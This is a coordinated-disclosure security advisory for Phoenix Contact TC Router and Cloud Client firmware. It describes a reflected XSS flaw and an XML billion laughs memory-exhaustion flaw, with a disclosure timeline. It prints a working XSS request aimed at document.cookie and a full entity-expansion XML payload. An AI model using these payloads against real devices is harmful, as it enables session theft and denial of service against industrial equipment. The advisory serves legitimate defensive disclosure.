St. Pölten UAS | Multiple Vulnerabilities in Phoenix Contact TC Cloud Client, TC Router & Cloud Client

At Phoenix Contact, our approach is innovative, sustainable, and based on partnership. This applies to how we deal with employees as well as with our customers. We are also conscious of our social and environmental responsibility and we act accordingly. With the vision of the All Electric Society, we also want to empower our customers to act more sustainably by enabling the comprehensive electrification, networking, and automation of all sectors of the economy and infrastructure with our products and solutions.

Source: https://www.phoenixcontact.com/en-us/ueber-uns

TC Router 3002T-4G* / <2.0.2
TC Cloud Client 1002-4G* / <2.07.2
Cloud Client 1101T-TX/TX / <2.06.10

1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526
A reflected cross-site scripting vulnerability can be triggerd in the license viewer of the device. This can be used to execute malicious code in the context of a user’s browser. Cookies may be also stoled via this way.

2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569
By abusing the configuration file upload functionality of the device, it is possible to slow down all other processes.

The reflected cross-site scripting vulnerability can be triggered by using the following GET request:

https://$IP/cgi-bin/p/license?pkg=netsnmp&txt=15″><script>alert(„document.cookie“)</script>

The following configuration file can be used to exploit the binary

„/usr/bin/xmlconfig“, which supportes entity reference nodes:
===============================================================================
<?xml version=“1.0″?>
<!DOCTYPE lolz [
<!ENTITY lol „lol“>
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 „&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;“>
<!ENTITY lol2
„&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;“>
<!ENTITY lol3
„&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;“>
<!ENTITY lol4
„&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;“>
<!ENTITY lol5
„&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;“>
<!ENTITY lol6
„&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;“>
<!ENTITY lol7
„&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;“>
<!ENTITY lol8
„&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;“>
<!ENTITY lol9
„&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;“>
]>
<lolz>&lol9;</lolz>
===============================================================================

Update to the latest available firmware version.

None.

CyberDanube recommends Phoenix Contact customers to upgrade the firmware to the latest version available.

• 2023-05-16: Contacting vendor via psirt@phoenixcontact.com
• 2023-05-17: Vendor informed internal product team.
• 2023-05-18: Added responsible disclosure policy from St. Poelten UAS.
• 2023-05-19: Vendor needs more time to fix the issues.
• 2023-06-15: Vendor asked for an explaination of the issues as he cannot reproduce them; Sent screenshots and more PoCs to the vendor.
  Offered an MS Teams call to clarify the issues.
• 2023-06-16: Scheduled a call for 2023-06-19.
• 2023-06-19: Clarified issues and further timeline for the coordination. Vendor proposed to release the firmware on 2023-07-13.
• 2023-07-04: Contact stated that he has to shift the release after July. It will be released on 08.08.2023; Confirmed the date.
• 2023-07-13: Received CVE numbers from vendor.
• 2023-07-18: Received firmware versions from vendor.
• 2023-07-23:_Vendor released firmwares.
• 2023-08-08: Coordinated release of security advisory.